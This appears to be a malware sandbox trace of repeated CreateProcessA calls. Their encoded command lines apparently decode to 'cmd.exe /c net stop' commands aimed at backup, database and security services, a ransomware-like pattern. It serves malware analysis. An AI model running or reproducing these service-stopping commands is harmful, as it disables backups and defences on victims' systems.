	[0092.528] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÛëöòüëÊïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÛëöòüëÊïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.529] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÚøíøõöþÊïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÚøíøõöþÊïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.529] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÚõöìýÊïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÚõöìýÊïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.529] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÝüéõöàôü÷íÊüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÝüéõöàôü÷íÊüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.530] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÝüéõöàÊïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÝüéõöàÊïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.530] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÜ÷íüëéëðêüÔø÷øþüëÊïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÜ÷íüëéëðêüÔø÷øþüëÊïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.531] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÔöì÷íÊïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÔöì÷íÊïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.531] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹Ïüüøô×ßÊÊïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹Ïüüøô×ßÊÊïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.531] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôËÜÊÍÊïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôËÜÊÍÊïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.532] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÍëø÷êéöëíÊïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÍëø÷êéöëíÊïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.532] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÎªÊïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÎªÊïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.533] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹îûü÷þð÷ü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹îûü÷þð÷ü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.533] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÎËÊÏÚ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÎËÊÏÚ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.533] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÏÜÜØÔÊÈÕ«©©¡Ë«¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÏÜÜØÔÊÈÕ«©©¡Ë«¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.534] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÏÜÜØÔÊÈÕ«©©¡Ë«¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÏÜÜØÔÊÈÕ«©©¡Ë«¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.534] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÑïÐ÷íüþëøíðö÷Êïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÑïÐ÷íüþëøíðö÷Êïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.534] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹êîðÆìéýøíü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹êîðÆìéýøíü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.535] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÚÁÝÛ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÚÁÝÛ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.535] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÚÐÍËÐÁÆÔÜÍØßËØÔܹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÚÐÍËÐÁÆÔÜÍØßËØÔܹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.536] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»ÊÈÕ¹Ûøúòìé껹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»ÊÈÕ¹Ûøúòìé껹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.536] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÉËÖݹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÉËÖݹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.536] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Ãööõ㹫¹Êüëïðúü»¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Ãööõ㹫¹Êüëïðúü»¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.537] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕÊüëïüëØÝÑüõéü빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕÊüëïüëØÝÑüõéü빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.537] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÉËÖݹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÉËÖݹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.538] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ôêÿíüêèõ½ÉËÖݹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ôêÿíüêèõ½ÉËÖݹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.540] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹×üíÔêôèØúíðïøíö빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹×üíÔêôèØúíðïøíö빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.541] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÜñííéÊëﹶà\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÜñííéÊëﹶà\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.541] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹üòë÷¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹üòë÷¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.541] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÜÊÑØÊËϹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÜÊÑØÊËϹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
